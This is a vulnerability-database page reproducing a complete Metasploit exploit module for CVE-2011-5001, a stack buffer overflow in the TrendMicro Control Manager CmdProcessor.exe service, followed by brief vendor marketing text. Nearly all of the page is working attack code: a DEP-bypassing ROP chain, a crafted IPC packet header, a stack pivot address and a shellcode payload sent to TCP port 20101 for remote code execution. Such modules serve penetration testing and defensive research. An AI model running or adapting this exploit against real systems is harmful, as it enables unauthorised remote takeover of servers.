Lucene search
K

TrendMicro Control Manger <= 5.5 CmdProcessor.exe - Stack Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 24 Views

TrendMicro Control Manger Stack Buffer Overflow vulnerability in CmdProcessor.exe version 5.

Code

                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info={})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#34;TrendMicro Control Manger &#60;= v5.5 CmdProcessor.exe Stack Buffer Overflow&#34;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a vulnerability in the CmdProcessor.exe component of Trend
				Micro Control Manger up to version 5.5.

					The specific flaw exists within CmdProcessor.exe service running on TCP port
				20101. The vulnerable function is the CGenericScheduler::AddTask function of
				cmdHandlerRedAlertController.dll. When processing a specially crafted IPC packet,
				controlled data is copied into a 256-byte stack buffer. This can be exploited
				to execute remote code under the context of the user.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;
				[
					&#39;Luigi Auriemma&#39;,  #Initial discovery
					&#39;Blue&#39;,            #Metasploit
				],
			&#39;References&#39;     =&#62;
				[
					[&#39;CVE&#39;, &#39;2011-5001&#39;],
					[&#39;URL&#39;, &#39;http://www.zerodayinitiative.com/advisories/ZDI-11-345/&#39;]
				],
			&#39;Payload&#39;        =&#62;
				{
					&#39;BadChars&#39; =&#62; &#34;\x00&#34;,
				},
			&#39;DefaultOptions&#39;  =&#62;
				{
					&#39;ExitFunction&#39; =&#62; &#39;process&#39;,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[
						# TCM 5.5 cannot be installed in Win2k3 SP0-SP1, Win2k8, or XP
						&#39;Windows 2003 Server SP2 (DEP Bypass)&#39;,
						{
							&#39;Ret&#39;    =&#62; 0x666b34c8, # TMNotify.dll stack pivot
							&#39;Offset&#39; =&#62; 5000
						}
					],
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;DisclosureDate&#39; =&#62; &#34;Dec 07 2011&#34;,
			&#39;DefaultTarget&#39;  =&#62; 0))

			register_options(
			[
				Opt::RPORT(20101)
			], self.class)
	end

	def junk
		return rand_text(4).unpack(&#34;L&#34;)[0].to_i
	end

	def exploit

		#TmUpdate.dll
		rop_chain = [
			0x668074d4,	# POP EDX # OR AL,0F6 # RETN
			0x3FCD0FFC,	# Put 00001000 into edx
			0x667611b2,	# ADD EDX,C0330004 # RETN 04
			0x667c99e7,	# POP EBP # RETN [TmUpdate.dll]
			junk,
			0x667c99e7,	# skip 4 bytes [TmUpdate.dll]
			0x667e3250,	# POP EBX # RETN [TmUpdate.dll]
			0xffffffff,	# NEG EBX
			0x6683ab64,	# INC EBX # XOR EAX,EAX # RETN [TmUpdate.dll]
			0x6683ab64,	# INC EBX # XOR EAX,EAX # RETN [TmUpdate.dll]
			0x6680a1d3,	# POP EAX # RETN [TmUpdate.dll]
			0xffffffc0,	# Value to negate, will become 0x00000040
			0x66812b53,	# NEG EAX # RETN [TmUpdate.dll]
			0x667f030a,	# MOV ECX,EAX # RETN [TmUpdate.dll]
			0x667d4c7c,	# POP EDI # RETN [TmUpdate.dll]
			0x667e8003,	# RETN (ROP NOP) [TmUpdate.dll]
			0x667d54d0,	# POP ESI # RETN [TmUpdate.dll]
			0x667baf06,	# JMP [EAX] [TmUpdate.dll]
			0x66833376,	# POP EAX # RETN [TmUpdate.dll]
			0x6686115c,	# ptr to &VirtualAlloc() [IAT TmUpdate.dll]
			0x6681ceb3,	# PUSHAD # RETN [TmUpdate.dll]
			0x668382c3,	# ptr to &#39;call esp&#39; [TmUpdate.dll]
		].pack(&#39;V*&#39;)
		#rop chain generated by mona.py

		header  = &#34;\x00\x00&#34;
		header &#60;&#60; &#34;\x13\x88&#34;          #size of buffer
		header &#60;&#60; rand_text_alpha(9)
		header &#60;&#60; &#34;\x15\x09\x13&#34;      #opcode
		header &#60;&#60; &#34;\x00\x00\x00&#34;
		header &#60;&#60; rand_text_alpha(25)
		header &#60;&#60; &#34;\xFE\xFF\xFF\xFF&#34;  #in instruction #MOV EDI,DWORD PTR DS:[EAX+ECX] #ECX is our buffer and needs to be readable dword
		header &#60;&#60; &#34;\xFF\xFF\xFF\xFF&#34;  #after sum with EAX. Pointer from EAX increments by #LEA EAX,DWORD PTR DS:[EAX+EDI+4] and then is saved
		header &#60;&#60; &#34;\xFF\xFF\xF4\xFF&#34;  #and used again. We can essentially walk the loop which increments EBX by 1 until we get to 14 which leads
		header &#60;&#60; &#34;\xFF\xFF&#34;          #us to our vulnerable function
		header &#60;&#60; rand_text_alpha(1)  #align stack again for rop

		pay = rop_chain
		pay &#60;&#60; make_nops(374 - rop_chain.length)
		pay &#60;&#60; &#34;\xeb\x04&#34;  #Short jmp 0x04
		pay &#60;&#60; [target.ret].pack(&#39;V&#39;)
		pay &#60;&#60; payload.encoded

		sploit = header
		sploit &#60;&#60; pay

		filler = rand_text_alpha(target[&#39;Offset&#39;] - (sploit.length))

		connect
		print_status(&#34;Sending request...&#34;)
		sock.put(sploit + filler)
		handler
		disconnect

	end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation